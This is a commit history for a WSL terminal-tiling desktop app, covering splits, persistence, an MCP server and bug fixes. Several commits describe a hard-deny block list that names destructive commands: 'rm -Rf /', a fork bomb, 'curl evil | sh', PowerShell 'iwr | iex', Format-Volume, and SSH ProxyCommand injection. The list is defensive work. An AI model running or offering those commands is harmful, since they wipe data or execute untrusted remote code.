Commit graph

48 commits

Author SHA1 Message Date
738fa2e901 memory: log new claude-pane cursor-gap bug report + diagnosis plan 2026-06-11 22:50:04 +01:00
a72b2c3ff4 memory: note v0.4.1 release has wrong installer asset (0.4.0 .exe) + release.sh hardening TODO
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-02 00:07:26 +01:00
8c6aded5d8 memory: customizable terminal colors session log (v0.4.1)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 23:53:44 +01:00
1febf2e096 memory: window-close crash fix VERIFIED on Windows
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-30 01:24:30 +01:00
9144ba64b6 Fix: closing any window killed all (tokio::spawn panic on close path)
The synchronous on_window_event CloseRequested handler reached
WindowsState::schedule_save -> tokio::spawn, which panics ("no reactor
running") because that callback runs on the main thread with no ambient
Tokio runtime; the unhandled main-thread panic aborted the whole
process, taking every window + PTY down. (push_window_workspaces hit the
same line safely because it's an async tauri::command.)

- window_state.rs: tokio::spawn -> tauri::async_runtime::spawn (global
  runtime, works from any thread). Verified against tauri 2.11 source.
- lib.rs: defensive .build().run() guard — prevent_exit while any window
  remains so no path can orphan live PTYs; close logging warn!->debug!.

Source-verified; pending Windows runtime test.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-30 01:09:46 +01:00
8b5f65a14a memory: session wrap-up log (cursor fix + 3 xterm features + toolbar; context bar shelved) 2026-05-29 21:03:31 +01:00
cd5500671a memory: context bar shelved (unsolvable pane↔session signal); toolbar fix kept 2026-05-28 23:48:00 +01:00
50766c3fdd memory: log OSC 7 confirmed + recency gate + absolute-token fix 2026-05-28 23:09:44 +01:00
02d97d1520 memory: log OSC 7 live-cwd fix for the context bar (pending re-test) 2026-05-28 22:58:10 +01:00
24ab7f067f memory: narrow-toolbar verified; context bar blocked on leaf.cwd never being set 2026-05-28 22:53:45 +01:00
20b60661cb memory: backlog 'reattach window to existing window' idea
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:44:30 +01:00
5f8e9f92c5 memory: log pivot from usage panel to per-pane context-fill indicator
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:43:24 +01:00
b23f3d1ecb memory: log usage-panel scope/metric refinements + double-count investigation
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:26:33 +01:00
e3c3810ba0 memory: log per-session token tracking (done, pending Windows verify)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:16:20 +01:00
a6d3f8a9f9 memory: mark cursor fix + 3 xterm features verified on Windows
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:57:32 +01:00
1bbc6a5783 memory: mark find-in-scrollback, unicode11, pane-nav implemented (pending Windows verify)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:52:07 +01:00
8bb080345e memory: log fan-out feature research backlog (5 prioritized + parked)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:39:23 +01:00
b5db68da8b memory: log in-app code-markup/editor-pane idea
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:32:05 +01:00
df159056a1 memory: log v0.4.0 release wrap-up
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:44:58 +01:00
309b6024d4 Fix XtermPane IPC listener leak on unmount-during-spawn/adopt
Pre-release audit finding: after `unlistenData = await onPaneData(...)` (and
the exit listener) there was no destroyed re-check, so if the pane unmounted
during the await the sync cleanup captured a null unlisten and the
pane://{id}/data subscription leaked. Unlisten before returning in both the
adopt and spawn paths.

Also logs the deferred (low-risk) transfer-refcount leak as a known follow-up.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:34:36 +01:00
e6d0040021 Fix workspace accumulation, tab-close popover, scrollbars, drag ghost
- window_state.rs: persist only the main window's workspaces. The aggregator
  flattened every window's tabs into the saved file; main then adopted the
  whole blob on launch, so detached windows' ephemeral tabs (and Pane N
  drag-out artifacts) accumulated without bound.
- TabStrip: portal the close-confirm popover to <body> with fixed,
  viewport-clamped positioning so the horizontally-scrolling strip can't clip
  it and it never runs off a window edge.
- styles.css: make themed ::-webkit-scrollbar global, not just xterm viewport.
- LeafPane: B1 drag-out ghost chip (portal, edge-pinned, orange detach state).
- App.tsx: moveToNewWindow waits briefly for pane registration instead of
  failing instantly on an in-flight spawn/adopt.
- gitignore cargo-test.lo*.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:24:09 +01:00
bea6cf2977 Fix detached-window IPC scoping and pane-transfer session loss
- capabilities/default.json: extend window scope to "pane-window-*" so
  detached windows can invoke/listen (fixes blank panes B2-B5).
- App.tsx: memoize the destructive take_pending_window_init read at module
  scope so React StrictMode's double mount-effect doesn't consume the
  transfer payload twice and lose the adopted PTY session.
- lib.rs: add `use tauri::Manager;` for Window::app_handle() in on_window_event.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 19:46:30 +01:00
681d15fdc3 memory.md: fix Phase 2 verify command (cargo from src-tauri/, not root)
Tauri keeps the crate in src-tauri/; cargo check from the project root
fails with "could not find Cargo.toml". Caught by the user after I
suggested the wrong cd. Added a preflight-checks rule to global
~/claude/CLAUDE.md so this generalises.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 19:05:29 +01:00
597f9ac9b7 Session log: tabs + multi-window pane transfer (3 phases)
Documents architecture (Rust-side transferring refcount; backend-aggregated
save; scrollback ring replay), the load-bearing Tauri facts (process-wide
event routing, shared PtyManager), and the verification steps still needed
on the Windows host.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 19:01:26 +01:00
c92847413b Session log: v0.3.0 shipped + release-time gotchas for next time
Closes out the session that took MCP from read-only v1 → full write
surface in v0.3.0. Notes the four release-time hiccups (tsc -b
narrowing miss, rm -rf src-tauri/target wiping the installer, pnpm
install hang from WSL, separate Cargo.lock commit) with fixes shipped
and a clean recipe for the next release.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 19:32:22 +01:00
3d4e0fabe5 Clear cargo warnings: drop v2.1 classifier scaffold, annotate tool_router
Three of the four dead-code warnings (`ClassifierHint`, `PolicyClassifier`,
`NoopClassifier`) were the v2.1 classifier scaffold sitting unused since
PR-1. Deleted — being unused for weeks was a stronger "no concrete plan"
signal than its presence was a "TODO" signal. Trivial to re-add when we
actually do the classifier (v0.4.0 candidate).

Fourth warning was rmcp's `#[tool_router]` macro generating internal
references to a `tool_router` field on TileService that rustc's dead-code
pass can't see through. Added `#[allow(dead_code)]` with a brief comment
on why.

`cargo build` is now clean of the four standing dead-code warnings.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:59:04 +01:00
50fbd0e531 Revert idle "claude foreground" filter — back to legacy 5s notify
Reverts in one combined commit:
- 9931a92 (inline pane_id + watch list into bash script)
- 6772b8d (pivot per-distro → per-pane via TILETOPIA_PANE_ID env)
- f51033a (original per-distro idle filter)

End-to-end probe never worked correctly against the real running app
even after fixing the wsl.exe-drops-positional-args bug. Probe script
ran fine in isolation but kept returning false-negative when called
through tiletopia's wsl.exe spawn. Rather than keep iterating, back
out cleanly — pane behaviour is now the original "go idle after 5s of
silence regardless of what's running."

memory.md session log notes the lessons for a future retry: don't ship
per-distro again (CLAUDE.md explicitly says multi-claude-per-distro is
the primary use case); prove the probe end-to-end before wiring into
the idle effect (a "Test probe" button in MCP panel would have caught
this in minutes).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:33:11 +01:00
6772b8db37 Idle filter: pivot per-distro → per-pane via TILETOPIA_PANE_ID env marker
Per-distro suppression (shipped earlier today) broke tiletopia's primary
use case — multiple claude panes per distro means as soon as one runs
claude, ALL Ubuntu panes go silent. Tested live: user couldn't reproduce
idle on any pane because PID 46848 (their main session) tripped the gate.

New mechanism, per-pane via env-var marker:

1. pty.rs tags every WSL spawn with TILETOPIA_PANE_ID=<id> as a Windows
   env var, plus WSLENV=...TILETOPIA_PANE_ID/u (appended to any pre-
   existing WSLENV) so the var forwards into the distro. Pane id is now
   reserved BEFORE build_command so the tag is available at spawn time.
2. probe.rs rewritten — is_watch_process_running(distro, pane_id) runs
   a bash one-liner that pgreps for each watched name, then for each PID
   checks /proc/<pid>/environ for the matching TILETOPIA_PANE_ID line.
   Env inheritance does the work: shell inherits from wsl.exe, claude
   inherits from shell. Cache keyed by (distro, pane_id).
3. Fail-safe INVERTED: probe failure now returns false (don't suppress)
   instead of true (suppress). A transient error should never silence
   the idle indicator permanently. Frontend catch updated to match.
4. LeafPane tracks PaneId in paneIdRef set by onPaneSpawned; idle ticks
   before spawn-completion pass 0, which won't match any real marker so
   the pane idles normally.

Existing panes won't have the marker until respawned — they'll always
show idle (since probe never matches). User opens fresh panes once after
deploying this. Documented in memory.md follow-ups.

pnpm check clean. Rust validation: cargo test --lib on Windows.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 17:58:51 +01:00
b29233a012 Add .mcpb Claude Desktop bundle with zero-config token handling
New scripts/build-mcpb.mjs packs a Claude Desktop extension bundle
(scripts/mcpb-wrapper.mjs + manifest + icon) into dist-mcpb/tiletopia.mcpb.
The wrapper reads the bearer token from %APPDATA% at launch and execs
`npx -y mcp-remote`, so no secrets are baked in and Regenerate keeps
working transparently. Run via `pnpm run build:mcpb`.

McpPanel gets a "Download .mcpb" button linking to the releases page; the
help-overlay tip and README MCP section both lead with the bundle install
path and keep the .mcp.json shim recipe as the Claude Code fallback.

Session-log entry in memory.md covers the design choices, especially why
the wrapper-script approach beat the alternatives (user_config prompt
would defeat one-click; baked-in token would be wrong for everyone else).
2026-05-26 17:36:29 +01:00
25aac634ab README: generate shortcuts table from shortcuts.ts (single source of truth)
The shortcuts table in README was hand-maintained and kept drifting from
src/lib/shortcuts.ts (the data the in-app help overlay reads). Replace the
table with a marker block (<!-- SHORTCUTS:START --> ... <!-- SHORTCUTS:END -->)
populated by scripts/gen-readme-shortcuts.mjs. Includes TIPS too, not just
shortcuts. Script is plain Node + fs (no tsx/esbuild dep); reads shortcuts.ts
as text, strips TS type syntax, dynamic-imports the resulting .mjs.

Adds `pnpm gen:readme` script and a `--check` mode that exits 1 on drift
(for future CI wiring). Idempotent.
2026-05-26 17:34:54 +01:00
f51033a142 Idle filter: suppress when watched process (claude) is running in distro
Probes wsl.exe -d <distro> -- pgrep -x claude before flagging a WSL pane
idle, with a 3s per-distro cache on the Rust side. If claude is running
anywhere in the distro, all panes in that distro stay out of the idle set
(per-pane granularity is out of scope — PIDs aren't observable from
Windows). PowerShell + SSH panes skip the probe and keep the legacy
always-notify behaviour.
2026-05-26 17:33:10 +01:00
5b970f8b48 Hard-deny: PowerShell patterns + drift-proof the label list
Four new compiled-in hard-deny rules covering PowerShell + cmd.exe
catastrophic patterns (mirror of the POSIX 10):

- Remove-Item / del / rd / ri / rm / erase / rmdir targeting C:\
  or user home / appdata
- Format-Volume / Clear-Disk with any flag (= an invocation, not a
  Get-Help lookup)
- iwr | iex pipe form (PowerShell web-to-execute)
- iex (irm ...) parenthesized form

Universal application — no shell-aware scoping yet. PS cmdlet
identifiers are distinctive enough that bash false-positives are
vanishingly unlikely. Shell-aware policy scoping remains a known
follow-up.

Drift-proof the "Always blocked" label list: backend now exposes
hard_deny_rules() via a new mcp_hard_deny_labels Tauri command, and
PolicyTab loads it at mount instead of hardcoding the list. Avoids
the 11→15 manual sync that would have been needed (and that had
already drifted twice this week).

cargo test --lib: 138 passed; 0 failed (118 prior + 20 new fuzz
cases for rules 11-14; hard_deny_rules_count bumped 10 → 14).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 17:14:42 +01:00
e872044310 Fix hard-deny enforcement gaps surfaced by PR-4 test re-enable
Re-enabling the policy test module in PR-4 (the policy_with compile fix)
exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions.

is_hard_denied is now two-pass — whole-input first, then per-subcommand.
The subcommand splitter was tearing apart patterns whose meaning needs
their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell.
Result was that 9 of the 10 advertised hard-deny rules quietly didn't
enforce against their own canonical examples.

Regex fixes:
- Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`.
- Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle
  the danger past detection.
- Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most
  common form) was not previously caught because `ba?sh` required `b`.
- Rule 9 anchor tightened: `/` must be followed by a path boundary,
  end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false-
  positives (still destructive, but a deliberate user scope choice).

Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_
matched and hard_deny_git_grep_contains_pattern. The originals expected
false-positives on echo'd / grep'd danger strings. The post-fix behaviour
of NOT flagging these is correct UX: searching for or printing a danger
string is not the same as invoking it.

cargo test --lib: 118 passed; 0 failed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:05:31 +01:00
9ebb3e4d2e MCP v2 PR-4: add_host + delete_host + extraArgs sanitiser + third SSH safeguard
Final v2 PR. All 11 planned write tools live. add_host/delete_host let
Claude mutate the saved-hosts list; both gated by a new allowAddHost
switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5.

add_host's extraArgs are sanitised against CVE-2023-51385-class
local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand,
PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL
and -oKEY=VAL, case-insensitive on the key. The manual host manager UI
stays unrestricted (user has full agency over their own hosts).

Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test
helper was missing the ssh_safeguards field added in PR-3.5, silently
breaking the entire policy test module since then. Re-enabling those
tests is the prereq for the hard-deny rework that follows in the next
commit.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:04:14 +01:00
71f330e934 Session log: MCP v2 PR-3 + PR-3.5 + polish bundle
Document the spawn-completion oneshot chain, the rate limiter,
SSH-extra confirm banner, two-switch SSH safeguards, the
spawn_pane SSH-schema split, instructions refresh, and the host
manager Connect button. Plus the four cross-IPC integration bugs
(Emitter trait, McpError 'static, StrictMode listen() race,
rename_all camelCase) and the ErrorBoundary that caught the last
one. Open follow-ups in priority order.
2026-05-26 15:21:40 +01:00
3acad63fb7 Session log: MCP v2 PR-2 (tree-shape writes)
Note the require_visible_leaf factor-out, the non-interactive
data-loss handling for apply_preset, and PresetName as a typed
enum so the tool schema gives Claude autocomplete.
2026-05-26 12:46:19 +01:00
09019a0ad7 Session log: MCP v2 PR-1 + PR-1b (policy engine + dispatcher)
Document the fan-out approach (3 Sonnet agents + 1 Haiku), the
event/reply RPC pattern, the 10 hard-deny rules and their caveats,
the audit + confirm + Always-Allow UX, and the four integration
bugs worth remembering (Tauri 2 Emitter trait import, McpError
'static strings, React 18 StrictMode listen() race, lifting the
audit subscription out of AuditTab).
2026-05-26 12:29:17 +01:00
b14b450577 Session log: MCP persistence + Claude Code OAuth bug + mcp-remote shim
Document the five-layer breakage we unwound (WDF block rules, rmcp
host allowlist, our middleware intercepting OAuth probes, Claude Code
ignoring static bearer, mcp-remote --allow-http) and the working
stdio-shim recipe.
2026-05-26 11:06:42 +01:00
352aa8c281 Session log: reflow bug fix + titlebar tidy-up; correct stack note
memory.md still said Svelte 5; migration to React 18 happened in
774b863. Also log this session's investigation, fix, and the
follow-up about CLAUDE.md still needing the same update.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:28:36 +01:00
d667e18c0c Session log: SSH, links, promote, help, MCP v1 2026-05-25 21:43:57 +01:00
3cdd485627 Note help overlay + Claude-MCP server as next TODOs 2026-05-25 21:02:11 +01:00
dd1cf282e6 M5 ship infrastructure: icon, version, release script, README
- scripts/make-icon.py: generates a 1024x1024 source.png — dark
  rounded square + 2x2 tile grid with one active-blue tile and one
  broadcast-orange tile (matches the in-app accent colors).
  Regenerated all desktop icon sizes via 'pnpm tauri icon';
  pruned iOS/Android/UWP outputs.
- Version bump 0.0.1 -> 0.1.0 across package.json, Cargo.toml,
  tauri.conf.json. First real release.
- scripts/release.sh: takes vX.Y.Z, sanity-checks (clean tree,
  on main, in sync, tag matches package.json, installer exists,
  tag not already present), tags + pushes, uploads NSIS .exe to
  Forgejo via tea releases create --asset.
- README rewritten: Install section pointing at Forgejo releases,
  Using-it cheatsheet for all M2-M4 features (splits, broadcast,
  palette, etc.), Develop/Test/Release triplet for the WSL<->Windows
  workflow, icon regen instructions.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 13:38:29 +01:00
b1412287be Add vitest + 43 unit tests for tree.ts
Setup:
- vitest 2.x devDep; pnpm test / pnpm test:watch scripts.
- vite.config.ts test: block (node env, src/**/*.test.ts) via vitest/config.

Coverage in tree.test.ts:
- newLeaf / newSplit (defaults + provided props).
- replaceById (root/nested/no-match, immutability + sibling reuse).
- splitLeaf (orientation, inheritance, no-op on missing id, nested).
- closeLeaf (root -> null, sibling collapse, nested removal, no-op).
- findLeaf / leafCount / walkLeaves (order).
- changeDistro pins the invariant that it MUST swap the leaf id
  ({#key} remounts XtermPane → kills+respawns PTY).
- changeLabel / toggleBroadcast pin the inverse invariant: id MUST
  remain stable (metadata-only mutations).
- All 5 presets: shape, distro propagation, fresh ids per call.
- serialize/deserialize roundtrip + invalid-input rejection.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 13:28:02 +01:00
3c2f6b8640 Add M4 orchestration: broadcast, idle notifications, palette
tree.ts
- LeafNode gains broadcast?: boolean
- walkLeaves(root) generator; toggleBroadcast helper

ops.ts (PaneOps)
- toggleBroadcast, broadcastFrom, setActivePane, registerPaneId,
  notify; activeLeafId data field.

XtermPane.svelte
- onSpawn(paneId), onInput(b64), onDataReceived(),
  and focusTrigger prop. All optional; backward-compatible.

LeafPane.svelte
- 📡 broadcast toggle; 5s idle detection -> ops.notify (once per
  idle cycle); active + broadcasting border colors; click-to-focus
  via setActivePane + focusTrigger bump.

New Notifications.svelte
- Top-right toast stack, slide-in, 5s auto-dismiss + click ×.

New Palette.svelte
- Modal overlay, backdrop, filtered leaf list with ↑/↓ + Enter,
  Escape to close.

App.svelte
- paneIdByLeaf Map for routing; notifications array + auto-dismiss;
  activeLeafId; Ctrl+K global listener; broadcastFrom routes via
  walkLeaves + writeToPane to all other broadcast leaves; ⌘K button
  in titlebar.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 13:08:40 +01:00
64b90ebddb Add M3: APPDATA persistence + presets + per-pane distro/label
Backend:
- save_workspace / load_workspace Tauri commands writing to
  %APPDATA%\com.megaproxy.tiletopia\workspace.json with atomic
  tmp+rename. Path from app.path().app_config_dir() (no dirs crate).

Layout helpers:
- tree.ts: changeDistro (with id swap to force XtermPane remount via
  {#key}), changeLabel, presetSingle / TwoColumns / ThreeColumns /
  TwoRows / TwoByTwo.
- New ops.ts with PaneOps interface bundling split / close /
  setDistro / setLabel / distros, drilled through Pane chain
  instead of individual callbacks.

UI:
- LeafPane: in-toolbar editable label (click to rename, Enter
  saves, Esc cancels) and distro chip popover. Picking a different
  distro respawns the pane.
- App.svelte: migrated from localStorage to APPDATA via the new
  Tauri commands, debounced 500ms. One-time localStorage migration
  on boot. Split inherits parent's distro+cwd. Titlebar preset
  buttons with confirm when replacing >1 pane.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 12:55:46 +01:00
1869d08181 Confirm M2 validation in memory.md
Replace post-test placeholder with the actual verified behaviors:
split-right/-down, multiple alive panes, gutter drag, close-collapse,
localStorage restore.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 12:48:26 +01:00
efcdf6a9ce Add M2 splits-tree layout
- src/lib/layout/tree.ts: pure helpers + types (newLeaf, splitLeaf,
  closeLeaf, replaceById, serialize/deserialize with shape-checking).
- SplitNode.svelte: flex container with pointer-captured gutter drag.
- LeafPane.svelte: per-pane toolbar (split-right ⇥, split-down ⇣,
  close ×) over the existing XtermPane.
- Pane.svelte: recursive dispatcher between SplitNode and LeafPane,
  keyed on leaf.id so swaps unmount XtermPane cleanly (kills PTY).
- App.svelte: tree-as-state with split/close handlers, auto-save to
  localStorage on every \$effect tick. Titlebar shows clickable distro
  buttons setting the default for new panes; existing panes keep theirs.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 12:44:35 +01:00
b352f8f049 Initial scaffold from M1 spike (tiletopia)
Tauri 2 + Svelte 5 + xterm.js + portable-pty. Single full-window
WSL terminal pane with clickable distro picker. M1 verified manually
on Windows: window opens, xterm.js renders, claude TUI works,
resize reflows cleanly.

Graduated from ~/claude/ideas/wsl-mux/ per the approved plan at
~/.claude/plans/imperative-coalescing-feigenbaum.md. See memory.md
for decisions, open TODOs, and the M2-M5 roadmap.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 12:31:29 +01:00